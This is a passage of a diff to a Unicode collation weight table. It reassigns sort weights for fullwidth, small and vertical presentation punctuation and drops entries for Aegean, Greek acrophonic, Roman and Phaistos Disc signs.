+FE19  ; [*0277.0020.0016][*0277.0020.0016][*0277.0020.0016] # PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS
 FE21  ; [.0000.0000.0000] # COMBINING LIGATURE RIGHT HALF
 FE23  ; [.0000.0000.0000] # COMBINING DOUBLE TILDE RIGHT HALF
 FE24  ; [.0000.0000.0000] # COMBINING MACRON LEFT HALF
@@ -4057,31 +4090,31 @@
 FE2C  ; [.0000.0000.0000] # COMBINING MACRON RIGHT HALF BELOW
 FE2D  ; [.0000.0000.0000] # COMBINING CONJOINING MACRON BELOW
 FE2F  ; [.0000.0000.0000] # COMBINING CYRILLIC TITLO RIGHT HALF
-FE30  ; [*0274.0020.0016][*0274.0020.0016] # PRESENTATION FORM FOR VERTICAL TWO DOT LEADER
+FE30  ; [*0277.0020.0016][*0277.0020.0016] # PRESENTATION FORM FOR VERTICAL TWO DOT LEADER
 FE31  ; [*0216.0020.0016] # PRESENTATION FORM FOR VERTICAL EM DASH
 FE32  ; [*0215.0020.0016] # PRESENTATION FORM FOR VERTICAL EN DASH
 FE33  ; [*020B.0020.0016] # PRESENTATION FORM FOR VERTICAL LOW LINE
 FE34  ; [*020B.0020.0016] # PRESENTATION FORM FOR VERTICAL WAVY LOW LINE
-FE35  ; [*0310.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS
-FE36  ; [*0311.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS
-FE37  ; [*0314.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET
-FE38  ; [*0315.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET
-FE39  ; [*0372.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET
-FE3A  ; [*0373.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET
-FE3B  ; [*0370.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET
-FE3C  ; [*0371.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET
-FE3D  ; [*036A.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET
-FE3E  ; [*036B.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET
-FE3F  ; [*0368.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET
-FE40  ; [*0369.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET
-FE41  ; [*036C.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET
-FE42  ; [*036D.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET
-FE43  ; [*036E.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET
-FE44  ; [*036F.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET
-FE45  ; [*0231.0020.0002] # SESAME DOT
-FE46  ; [*0232.0020.0002] # WHITE SESAME DOT
-FE47  ; [*0312.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET
-FE48  ; [*0313.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET
+FE35  ; [*0317.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS
+FE36  ; [*0318.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS
+FE37  ; [*031B.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET
+FE38  ; [*031C.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET
+FE39  ; [*0379.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET
+FE3A  ; [*037A.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET
+FE3B  ; [*0377.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET
+FE3C  ; [*0378.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET
+FE3D  ; [*0371.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET
+FE3E  ; [*0372.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET
+FE3F  ; [*036F.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET
+FE40  ; [*0370.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET
+FE41  ; [*0373.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET
+FE42  ; [*0374.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET
+FE43  ; [*0375.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET
+FE44  ; [*0376.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET
+FE45  ; [*0232.0020.0002] # SESAME DOT
+FE46  ; [*0233.0020.0002] # WHITE SESAME DOT
+FE47  ; [*0319.0020.0016] # PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET
+FE48  ; [*031A.0020.0016] # PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET
 FE49  ; [*020A.0020.0004] # DASHED OVERLINE
 FE4A  ; [*020A.0020.0004] # CENTRELINE OVERLINE
 FE4B  ; [*020A.0020.0004] # WAVY OVERLINE
@@ -4089,487 +4122,489 @@
 FE4D  ; [*020B.0020.0004] # DASHED LOW LINE
 FE4E  ; [*020B.0020.0004] # CENTRELINE LOW LINE
 FE4F  ; [*020B.0020.0004] # WAVY LOW LINE
-FE50  ; [*0221.0020.000F] # SMALL COMMA
-FE51  ; [*0230.0020.000F] # SMALL IDEOGRAPHIC COMMA
-FE52  ; [*0274.0020.000F] # SMALL FULL STOP
-FE54  ; [*0233.0020.000F] # SMALL SEMICOLON
-FE55  ; [*0238.0020.000F] # SMALL COLON
-FE56  ; [*0264.0020.000F] # SMALL QUESTION MARK
-FE57  ; [*025F.0020.000F] # SMALL EXCLAMATION MARK
+FE50  ; [*0222.0020.000F] # SMALL COMMA
+FE51  ; [*0231.0020.000F] # SMALL IDEOGRAPHIC COMMA
+FE52  ; [*0277.0020.000F] # SMALL FULL STOP
+FE54  ; [*0234.0020.000F] # SMALL SEMICOLON
+FE55  ; [*0239.0020.000F] # SMALL COLON
+FE56  ; [*0266.0020.000F] # SMALL QUESTION MARK
+FE57  ; [*0260.0020.000F] # SMALL EXCLAMATION MARK
 FE58  ; [*0216.0020.000F] # SMALL EM DASH
-FE59  ; [*0310.0020.000F] # SMALL LEFT PARENTHESIS
-FE5A  ; [*0311.0020.000F] # SMALL RIGHT PARENTHESIS
-FE5B  ; [*0314.0020.000F] # SMALL LEFT CURLY BRACKET
-FE5C  ; [*0315.0020.000F] # SMALL RIGHT CURLY BRACKET
-FE5D  ; [*0372.0020.000F] # SMALL LEFT TORTOISE SHELL BRACKET
-FE5E  ; [*0373.0020.000F] # SMALL RIGHT TORTOISE SHELL BRACKET
-FE5F  ; [*0391.0020.000F] # SMALL NUMBER SIGN
-FE60  ; [*038F.0020.000F] # SMALL AMPERSAND
-FE61  ; [*0388.0020.000F] # SMALL ASTERISK
-FE62  ; [*05F6.0020.000F] # SMALL PLUS SIGN
+FE59  ; [*0317.0020.000F] # SMALL LEFT PARENTHESIS
+FE5A  ; [*0318.0020.000F] # SMALL RIGHT PARENTHESIS
+FE5B  ; [*031B.0020.000F] # SMALL LEFT CURLY BRACKET
+FE5C  ; [*031C.0020.000F] # SMALL RIGHT CURLY BRACKET
+FE5D  ; [*0379.0020.000F] # SMALL LEFT TORTOISE SHELL BRACKET
+FE5E  ; [*037A.0020.000F] # SMALL RIGHT TORTOISE SHELL BRACKET
+FE5F  ; [*0398.0020.000F] # SMALL NUMBER SIGN
+FE60  ; [*0396.0020.000F] # SMALL AMPERSAND
+FE61  ; [*038F.0020.000F] # SMALL ASTERISK
+FE62  ; [*0616.0020.000F] # SMALL PLUS SIGN
 FE63  ; [*020D.0020.000F] # SMALL HYPHEN-MINUS
-FE64  ; [*05FA.0020.000F] # SMALL LESS-THAN SIGN
-FE65  ; [*05FC.0020.000F] # SMALL GREATER-THAN SIGN
-FE66  ; [*05FB.0020.000F] # SMALL EQUALS SIGN
-FE68  ; [*038E.0020.000F] # SMALL REVERSE SOLIDUS
-FE6A  ; [*0392.0020.000F] # SMALL PERCENT SIGN
-FE6B  ; [*0387.0020.000F] # SMALL COMMERCIAL AT
+FE64  ; [*061A.0020.000F] # SMALL LESS-THAN SIGN
+FE65  ; [*061C.0020.000F] # SMALL GREATER-THAN SIGN
+FE66  ; [*061B.0020.000F] # SMALL EQUALS SIGN
+FE68  ; [*0395.0020.000F] # SMALL REVERSE SOLIDUS
+FE6A  ; [*0399.0020.000F] # SMALL PERCENT SIGN
+FE6B  ; [*038E.0020.000F] # SMALL COMMERCIAL AT
 FE73  ; [.0000.0000.0000] # ARABIC TAIL FRAGMENT
-FF01  ; [*025F.0020.0003] # FULLWIDTH EXCLAMATION MARK
-FF02  ; [*0305.0020.0003] # FULLWIDTH QUOTATION MARK
-FF03  ; [*0391.0020.0003] # FULLWIDTH NUMBER SIGN
-FF05  ; [*0392.0020.0003] # FULLWIDTH PERCENT SIGN
-FF06  ; [*038F.0020.0003] # FULLWIDTH AMPERSAND
-FF07  ; [*02FE.0020.0003] # FULLWIDTH APOSTROPHE
-FF08  ; [*0310.0020.0003] # FULLWIDTH LEFT PARENTHESIS
-FF09  ; [*0311.0020.0003] # FULLWIDTH RIGHT PARENTHESIS
-FF0A  ; [*0388.0020.0003] # FULLWIDTH ASTERISK
-FF0B  ; [*05F6.0020.0003] # FULLWIDTH PLUS SIGN
-FF0C  ; [*0221.0020.0003] # FULLWIDTH COMMA
+FF01  ; [*0260.0020.0003] # FULLWIDTH EXCLAMATION MARK
+FF02  ; [*030C.0020.0003] # FULLWIDTH QUOTATION MARK
+FF03  ; [*0398.0020.0003] # FULLWIDTH NUMBER SIGN
+FF05  ; [*0399.0020.0003] # FULLWIDTH PERCENT SIGN
+FF06  ; [*0396.0020.0003] # FULLWIDTH AMPERSAND
+FF07  ; [*0305.0020.0003] # FULLWIDTH APOSTROPHE
+FF08  ; [*0317.0020.0003] # FULLWIDTH LEFT PARENTHESIS
+FF09  ; [*0318.0020.0003] # FULLWIDTH RIGHT PARENTHESIS
+FF0A  ; [*038F.0020.0003] # FULLWIDTH ASTERISK
+FF0B  ; [*0616.0020.0003] # FULLWIDTH PLUS SIGN
+FF0C  ; [*0222.0020.0003] # FULLWIDTH COMMA
 FF0D  ; [*020D.0020.0003] # FULLWIDTH HYPHEN-MINUS
-FF0E  ; [*0274.0020.0003] # FULLWIDTH FULL STOP
-FF0F  ; [*038D.0020.0003] # FULLWIDTH SOLIDUS
-FF1A  ; [*0238.0020.0003] # FULLWIDTH COLON
-FF1B  ; [*0233.0020.0003] # FULLWIDTH SEMICOLON
-FF1C  ; [*05FA.0020.0003] # FULLWIDTH LESS-THAN SIGN
-FF1D  ; [*05FB.0020.0003] # FULLWIDTH EQUALS SIGN
-FF1E  ; [*05FC.0020.0003] # FULLWIDTH GREATER-THAN SIGN
-FF1F  ; [*0264.0020.0003] # FULLWIDTH QUESTION MARK
-FF20  ; [*0387.0020.0003] # FULLWIDTH COMMERCIAL AT
-FF3B  ; [*0312.0020.0003] # FULLWIDTH LEFT SQUARE BRACKET
-FF3C  ; [*038E.0020.0003] # FULLWIDTH REVERSE SOLIDUS
-FF3D  ; [*0313.0020.0003] # FULLWIDTH RIGHT SQUARE BRACKET
-FF3E  ; [*0466.0020.0003] # FULLWIDTH CIRCUMFLEX ACCENT
+FF0E  ; [*0277.0020.0003] # FULLWIDTH FULL STOP
+FF0F  ; [*0394.0020.0003] # FULLWIDTH SOLIDUS
+FF1A  ; [*0239.0020.0003] # FULLWIDTH COLON
+FF1B  ; [*0234.0020.0003] # FULLWIDTH SEMICOLON
+FF1C  ; [*061A.0020.0003] # FULLWIDTH LESS-THAN SIGN
+FF1D  ; [*061B.0020.0003] # FULLWIDTH EQUALS SIGN
+FF1E  ; [*061C.0020.0003] # FULLWIDTH GREATER-THAN SIGN
+FF1F  ; [*0266.0020.0003] # FULLWIDTH QUESTION MARK
+FF20  ; [*038E.0020.0003] # FULLWIDTH COMMERCIAL AT
+FF3B  ; [*0319.0020.0003] # FULLWIDTH LEFT SQUARE BRACKET
+FF3C  ; [*0395.0020.0003] # FULLWIDTH REVERSE SOLIDUS
+FF3D  ; [*031A.0020.0003] # FULLWIDTH RIGHT SQUARE BRACKET
+FF3E  ; [*0485.0020.0003] # FULLWIDTH CIRCUMFLEX ACCENT
 FF3F  ; [*020B.0020.0003] # FULLWIDTH LOW LINE
-FF40  ; [*0463.0020.0003] # FULLWIDTH GRAVE ACCENT
-FF5B  ; [*0314.0020.0003] # FULLWIDTH LEFT CURLY BRACKET
-FF5C  ; [*05FE.0020.0003] # FULLWIDTH VERTICAL LINE
-FF5D  ; [*0315.0020.0003] # FULLWIDTH RIGHT CURLY BRACKET
-FF5E  ; [*0600.0020.0003] # FULLWIDTH TILDE
-FF5F  ; [*0326.0020.0003] # FULLWIDTH LEFT WHITE PARENTHESIS
-FF60  ; [*0327.0020.0003] # FULLWIDTH RIGHT WHITE PARENTHESIS
-FF61  ; [*0287.0020.0012] # HALFWIDTH IDEOGRAPHIC FULL STOP
-FF62  ; [*036C.0020.0012] # HALFWIDTH LEFT CORNER BRACKET
-FF63  ; [*036D.0020.0012] # HALFWIDTH RIGHT CORNER BRACKET
-FF64  ; [*0230.0020.0012] # HALFWIDTH IDEOGRAPHIC COMMA
-FF65  ; [*0220.0020.0012] # HALFWIDTH KATAKANA MIDDLE DOT
-FFE2  ; [*05FD.0020.0003] # FULLWIDTH NOT SIGN
-FFE3  ; [*0467.0020.0003] # FULLWIDTH MACRON
-FFE4  ; [*05FF.0020.0003] # FULLWIDTH BROKEN BAR
-FFE8  ; [*07F6.0020.0012] # HALFWIDTH FORMS LIGHT VERTICAL
-FFE9  ; [*057C.0020.0012] # HALFWIDTH LEFTWARDS ARROW
-FFEA  ; [*057E.0020.0012] # HALFWIDTH UPWARDS ARROW
-FFEB  ; [*057D.0020.0012] # HALFWIDTH RIGHTWARDS ARROW
-FFEC  ; [*057F.0020.0012] # HALFWIDTH DOWNWARDS ARROW
-FFED  ; [*0894.0020.0012] # HALFWIDTH BLACK SQUARE
-FFEE  ; [*08BF.0020.0012] # HALFWIDTH WHITE CIRCLE
-FFFC  ; [*1A25.0020.0002] # OBJECT REPLACEMENT CHARACTER
-10100 ; [*02F3.0020.0002] # AEGEAN WORD SEPARATOR LINE
-10101 ; [*02F4.0020.0002] # AEGEAN WORD SEPARATOR DOT
-10102 ; [*02F5.0020.0002] # AEGEAN CHECK MARK
-10110 ; [*1A6F.0020.0002] # AEGEAN NUMBER TEN
-10111 ; [*1A70.0020.0002] # AEGEAN NUMBER TWENTY
-10112 ; [*1A71.0020.0002] # AEGEAN NUMBER THIRTY
-10113 ; [*1A72.0020.0002] # AEGEAN NUMBER FORTY
-10114 ; [*1A73.0020.0002] # AEGEAN NUMBER FIFTY
-10115 ; [*1A74.0020.0002] # AEGEAN NUMBER SIXTY
-10116 ; [*1A75.0020.0002] # AEGEAN NUMBER SEVENTY
-10117 ; [*1A76.0020.0002] # AEGEAN NUMBER EIGHTY
-10118 ; [*1A77.0020.0002] # AEGEAN NUMBER NINETY
-10119 ; [*1A78.0020.0002] # AEGEAN NUMBER ONE HUNDRED
-1011A ; [*1A79.0020.0002] # AEGEAN NUMBER TWO HUNDRED
-1011B ; [*1A7A.0020.0002] # AEGEAN NUMBER THREE HUNDRED
-1011C ; [*1A7B.0020.0002] # AEGEAN NUMBER FOUR HUNDRED
-1011D ; [*1A7C.0020.0002] # AEGEAN NUMBER FIVE HUNDRED
-1011E ; [*1A7D.0020.0002] # AEGEAN NUMBER SIX HUNDRED
-1011F ; [*1A7E.0020.0002] # AEGEAN NUMBER SEVEN HUNDRED
-10120 ; [*1A7F.0020.0002] # AEGEAN NUMBER EIGHT HUNDRED
-10121 ; [*1A80.0020.0002] # AEGEAN NUMBER NINE HUNDRED
-10122 ; [*1A81.0020.0002] # AEGEAN NUMBER ONE THOUSAND
-10123 ; [*1A82.0020.0002] # AEGEAN NUMBER TWO THOUSAND
-10124 ; [*1A83.0020.0002] # AEGEAN NUMBER THREE THOUSAND
-10125 ; [*1A84.0020.0002] # AEGEAN NUMBER FOUR THOUSAND
-10126 ; [*1A85.0020.0002] # AEGEAN NUMBER FIVE THOUSAND
-10127 ; [*1A86.0020.0002] # AEGEAN NUMBER SIX THOUSAND
-10128 ; [*1A87.0020.0002] # AEGEAN NUMBER SEVEN THOUSAND
-10129 ; [*1A88.0020.0002] # AEGEAN NUMBER EIGHT THOUSAND
-1012A ; [*1A89.0020.0002] # AEGEAN NUMBER NINE THOUSAND
-1012B ; [*1A8A.0020.0002] # AEGEAN NUMBER TEN THOUSAND
-1012C ; [*1A8B.0020.0002] # AEGEAN NUMBER TWENTY THOUSAND
-1012D ; [*1A8C.0020.0002] # AEGEAN NUMBER THIRTY THOUSAND
-1012E ; [*1A8D.0020.0002] # AEGEAN NUMBER FORTY THOUSAND
-1012F ; [*1A8E.0020.0002] # AEGEAN NUMBER FIFTY THOUSAND
-10130 ; [*1A8F.0020.0002] # AEGEAN NUMBER SIXTY THOUSAND
-10131 ; [*1A90.0020.0002] # AEGEAN NUMBER SEVENTY THOUSAND
-10132 ; [*1A91.0020.0002] # AEGEAN NUMBER EIGHTY THOUSAND
-10133 ; [*1A92.0020.0002] # AEGEAN NUMBER NINETY THOUSAND
-10137 ; [*0F54.0020.0002] # AEGEAN WEIGHT BASE UNIT
-10138 ; [*0F55.0020.0002] # AEGEAN WEIGHT FIRST SUBUNIT
-10139 ; [*0F56.0020.0002] # AEGEAN WEIGHT SECOND SUBUNIT
-1013A ; [*0F57.0020.0002] # AEGEAN WEIGHT THIRD SUBUNIT
-1013B ; [*0F58.0020.0002] # AEGEAN WEIGHT FOURTH SUBUNIT
-1013C ; [*0F59.0020.0002] # AEGEAN DRY MEASURE FIRST SUBUNIT
-1013D ; [*0F5A.0020.0002] # AEGEAN LIQUID MEASURE FIRST SUBUNIT
-1013E ; [*0F5B.0020.0002] # AEGEAN MEASURE SECOND SUBUNIT
-1013F ; [*0F5C.0020.0002] # AEGEAN MEASURE THIRD SUBUNIT
-10140 ; [*1A93.0020.0002] # GREEK ACROPHONIC ATTIC ONE QUARTER
-10141 ; [*1A94.0020.0002] # GREEK ACROPHONIC ATTIC ONE HALF
-10144 ; [*1A95.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY
-10145 ; [*1A96.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED
-10146 ; [*1A97.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND
-10147 ; [*1A98.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND
-10149 ; [*1A99.0020.0002] # GREEK ACROPHONIC ATTIC TEN TALENTS
-1014A ; [*1A9A.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY TALENTS
-1014B ; [*1A9B.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED TALENTS
-1014C ; [*1A9C.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED TALENTS
-1014D ; [*1A9D.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND TALENTS
-1014E ; [*1A9E.0020.0002] # GREEK ACROPHONIC ATTIC FIVE THOUSAND TALENTS
-10150 ; [*1A9F.0020.0002] # GREEK ACROPHONIC ATTIC TEN STATERS
-10151 ; [*1AA0.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY STATERS
-10152 ; [*1AA1.0020.0002] # GREEK ACROPHONIC ATTIC ONE HUNDRED STATERS
-10153 ; [*1AA2.0020.0002] # GREEK ACROPHONIC ATTIC FIVE HUNDRED STATERS
-10154 ; [*1AA3.0020.0002] # GREEK ACROPHONIC ATTIC ONE THOUSAND STATERS
-10155 ; [*1AA4.0020.0002] # GREEK ACROPHONIC ATTIC TEN THOUSAND STATERS
-10156 ; [*1AA5.0020.0002] # GREEK ACROPHONIC ATTIC FIFTY THOUSAND STATERS
-10157 ; [*1AA6.0020.0002] # GREEK ACROPHONIC ATTIC TEN MNAS
-10160 ; [*1AA7.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN
-10161 ; [*1AA8.0020.0002] # GREEK ACROPHONIC TROEZENIAN TEN ALTERNATE FORM
-10162 ; [*1AA9.0020.0002] # GREEK ACROPHONIC HERMIONIAN TEN
-10163 ; [*1AAA.0020.0002] # GREEK ACROPHONIC MESSENIAN TEN
-10164 ; [*1AAB.0020.0002] # GREEK ACROPHONIC THESPIAN TEN
-10165 ; [*1AAC.0020.0002] # GREEK ACROPHONIC THESPIAN THIRTY
-10166 ; [*1AAD.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY
-10167 ; [*1AAE.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIFTY ALTERNATE FORM
-10168 ; [*1AAF.0020.0002] # GREEK ACROPHONIC HERMIONIAN FIFTY
-10169 ; [*1AB0.0020.0002] # GREEK ACROPHONIC THESPIAN FIFTY
-1016A ; [*1AB1.0020.0002] # GREEK ACROPHONIC THESPIAN ONE HUNDRED
-1016B ; [*1AB2.0020.0002] # GREEK ACROPHONIC THESPIAN THREE HUNDRED
-1016C ; [*1AB3.0020.0002] # GREEK ACROPHONIC EPIDAUREAN FIVE HUNDRED
-1016D ; [*1AB4.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE HUNDRED
-1016E ; [*1AB5.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE HUNDRED
-1016F ; [*1AB6.0020.0002] # GREEK ACROPHONIC CARYSTIAN FIVE HUNDRED
-10170 ; [*1AB7.0020.0002] # GREEK ACROPHONIC NAXIAN FIVE HUNDRED
-10171 ; [*1AB8.0020.0002] # GREEK ACROPHONIC THESPIAN ONE THOUSAND
-10172 ; [*1AB9.0020.0002] # GREEK ACROPHONIC THESPIAN FIVE THOUSAND
-10174 ; [*1ABA.0020.0002] # GREEK ACROPHONIC STRATIAN FIFTY MNAS
-10175 ; [*1ABB.0020.0002] # GREEK ONE HALF SIGN
-10176 ; [*1ABC.0020.0002] # GREEK ONE HALF SIGN ALTERNATE FORM
-10177 ; [*1ABD.0020.0002] # GREEK TWO THIRDS SIGN
-10178 ; [*1ABE.0020.0002] # GREEK THREE QUARTERS SIGN
-10179 ; [*0F5D.0020.0002] # GREEK YEAR SIGN
-1017A ; [*0F5E.0020.0002] # GREEK TALENT SIGN
-1017B ; [*0F5F.0020.0002] # GREEK DRACHMA SIGN
-1017C ; [*0F60.0020.0002] # GREEK OBOL SIGN
-1017D ; [*0F61.0020.0002] # GREEK TWO OBOLS SIGN
-1017E ; [*0F62.0020.0002] # GREEK THREE OBOLS SIGN
-1017F ; [*0F63.0020.0002] # GREEK FOUR OBOLS SIGN
-10180 ; [*0F64.0020.0002] # GREEK FIVE OBOLS SIGN
-10181 ; [*0F65.0020.0002] # GREEK METRETES SIGN
-10182 ; [*0F66.0020.0002] # GREEK KYATHOS BASE SIGN
-10183 ; [*0F67.0020.0002] # GREEK LITRA SIGN
-10184 ; [*0F68.0020.0002] # GREEK OUNKIA SIGN
-10185 ; [*0F69.0020.0002] # GREEK XESTES SIGN
-10186 ; [*0F6A.0020.0002] # GREEK ARTABE SIGN
-10187 ; [*0F6B.0020.0002] # GREEK AROURA SIGN
-10188 ; [*0F6C.0020.0002] # GREEK GRAMMA SIGN
-10189 ; [*0F6D.0020.0002] # GREEK TRYBLION BASE SIGN
-1018B ; [*1ABF.0020.0002] # GREEK ONE QUARTER SIGN
-1018C ; [*0F6E.0020.0002] # GREEK SINUSOID SIGN
-10190 ; [*0F6F.0020.0002] # ROMAN SEXTANS SIGN
-10191 ; [*0F70.0020.0002] # ROMAN UNCIA SIGN
-10192 ; [*0F71.0020.0002] # ROMAN SEMUNCIA SIGN
-10193 ; [*0F72.0020.0002] # ROMAN SEXTULA SIGN
-10194 ; [*0F73.0020.0002] # ROMAN DIMIDIA SEXTULA SIGN
-10195 ; [*0F74.0020.0002] # ROMAN SILIQUA SIGN
-10196 ; [*0F75.0020.0002] # ROMAN DENARIUS SIGN
-10197 ; [*0F76.0020.0002] # ROMAN QUINARIUS SIGN
-10198 ; [*0F77.0020.0002] # ROMAN SESTERTIUS SIGN
-10199 ; [*0F78.0020.0002] # ROMAN DUPONDIUS SIGN
-1019A ; [*0F79.0020.0002] # ROMAN AS SIGN
-1019B ; [*0F7A.0020.0002] # ROMAN CENTURIAL SIGN
-101A0 ; [*0F7B.0020.0002] # GREEK SYMBOL TAU RHO
-101D0 ; [*0F7C.0020.0002] # PHAISTOS DISC SIGN PEDESTRIAN
-101D1 ; [*0F7D.0020.0002] # PHAISTOS DISC SIGN PLUMED HEAD
-101D2 ; [*0F7E.0020.0002] # PHAISTOS DISC SIGN TATTOOED HEAD
-101D3 ; [*0F7F.0020.0002] # PHAISTOS DISC SIGN CAPTIVE
-101D4 ; [*0F80.0020.0002] # PHAISTOS DISC SIGN CHILD
-101D5 ; [*0F81.0020.0002] # PHAISTOS DISC SIGN WOMAN
-101D6 ; [*0F82.0020.0002] # PHAISTOS DISC SIGN HELMET
-101D7 ; [*0F83.0020.0002] # PHAISTOS DISC SIGN GAUNTLET
-101D8 ; [*0F84.0020.0002] # PHAISTOS DISC SIGN TIARA
-101D9 ; [*0F85.0020.0002] # PHAISTOS DISC SIGN ARROW
-101DA ; [*0F86.0020.0002] # PHAISTOS DISC SIGN BOW
-101DB ; [*0F87.0020.0002] # PHAISTOS DISC SIGN SHIELD
-101DC ; [*0F88.0020.0002] # PHAISTOS DISC SIGN CLUB
-101DD ; [*0F89.0020.0002] # PHAISTOS DISC SIGN MANACLES
-101DE ; [*0F8A.0020.0002] # PHAISTOS DISC SIGN MATTOCK
-101DF ; [*0F8B.0020.0002] # PHAISTOS DISC SIGN SAW
-101E0 ; [*0F8C.0020.0002] # PHAISTOS DISC SIGN LID
-101E1 ; [*0F8D.0020.0002] # PHAISTOS DISC SIGN BOOMERANG
-101E2 ; [*0F8E.0020.0002] # PHAISTOS DISC SIGN CARPENTRY PLANE
-101E3 ; [*0F8F.0020.0002] # PHAISTOS DISC SIGN DOLIUM
-101E4 ; [*0F90.0020.0002] # PHAISTOS DISC SIGN COMB
-101E5 ; [*0F91.0020.0002] # PHAISTOS DISC SIGN SLING
-101E6 ; [*0F92.0020.0002] # PHAISTOS DISC SIGN COLUMN
-101E7 ; [*0F93.0020.0002] # PHAISTOS DISC SIGN BEEHIVE
-101E8 ; [*0F94.0020.0002] # PHAISTOS DISC SIGN SHIP
-101E9 ; [*0F95.0020.0002] # PHAISTOS DISC SIGN HORN
-101EA ; [*0F96.0020.0002] # PHAISTOS DISC SIGN HIDE
-101EB ; [*0F97.0020.0002] # PHAISTOS DISC SIGN BULLS LEG
-101EC ; [*0F98.0020.0002] # PHAISTOS DISC SIGN CAT
-101ED ; [*0F99.0020.0002] # PHAISTOS DISC SIGN RAM
-101EE ; [*0F9A.0020.0002] # PHAISTOS DISC SIGN EAGLE
-101EF ; [*0F9B.0020.0002] # PHAISTOS DISC SIGN DOVE
-101F0 ; [*0F9C.0020.0002] # PHAISTOS DISC SIGN TUNNY
-101F1 ; [*0F9D.0020.0002] # PHAISTOS DISC SIGN BEE
-101F2 ; [*0F9E.0020.0002] # PHAISTOS DISC SIGN PLANE TREE
-101F3 ; [*0F9F.0020.0002] # PHAISTOS DISC SIGN VINE
-101F4 ; [*0FA0.0020.0002] # PHAISTOS DISC SIGN PAPYRUS
-101F5 ; [*0FA1.0020.0002] # PHAISTOS DISC SIGN ROSETTE
-101F6 ; [*0FA2.0020.0002] # PHAISTOS DISC SIGN LILY
-101F7 ; [*0FA3.0020.0002] # PHAISTOS DISC SIGN OX BACK
-101F8 ; [*0FA4.0020.0002] # PHAISTOS DISC SIGN FLUTE
-101F9 ; [*0FA5.0020.0002] # PHAISTOS DISC SIGN GRATER
-101FA ; [*0FA6.0020.0002] # PHAISTOS DISC SIGN STRAINER
-101FB ; [*0FA7.0020.0002] # PHAISTOS DISC SIGN SMALL AXE
-101FC ; [*0FA8.0020.0002] # PHAISTOS DISC SIGN WAVY BAND
+FF40  ; [*0482.0020.0003] # FULLWIDTH GRAVE ACCENT
+FF5B  ; [*031B.0020.0003] # FULLWIDTH LEFT CURLY BRACKET
+FF5C  ; [*061E.0020.0003] # FULLWIDTH VERTICAL LINE
+FF5D  ; [*031C.0020.0003] # FULLWIDTH RIGHT CURLY BRACKET
+FF5E  ; [*0620.0020.0003] # FULLWIDTH TILDE
+FF5F  ; [*032D.0020.0003] # FULLWIDTH LEFT WHITE PARENTHESIS
+FF60  ; [*032E.0020.0003] # FULLWIDTH RIGHT WHITE PARENTHESIS
+FF61  ; [*028A.0020.0012] # HALFWIDTH IDEOGRAPHIC FULL STOP
+FF62  ; [*0373.0020.0012] # HALFWIDTH LEFT CORNER BRACKET
+FF63  ; [*0374.0020.0012] # HALFWIDTH RIGHT CORNER BRACKET
+FF64  ; [*0231.0020.0012] # HALFWIDTH IDEOGRAPHIC COMMA
+FF65  ; [*0221.0020.0012] # HALFWIDTH KATAKANA MIDDLE DOT
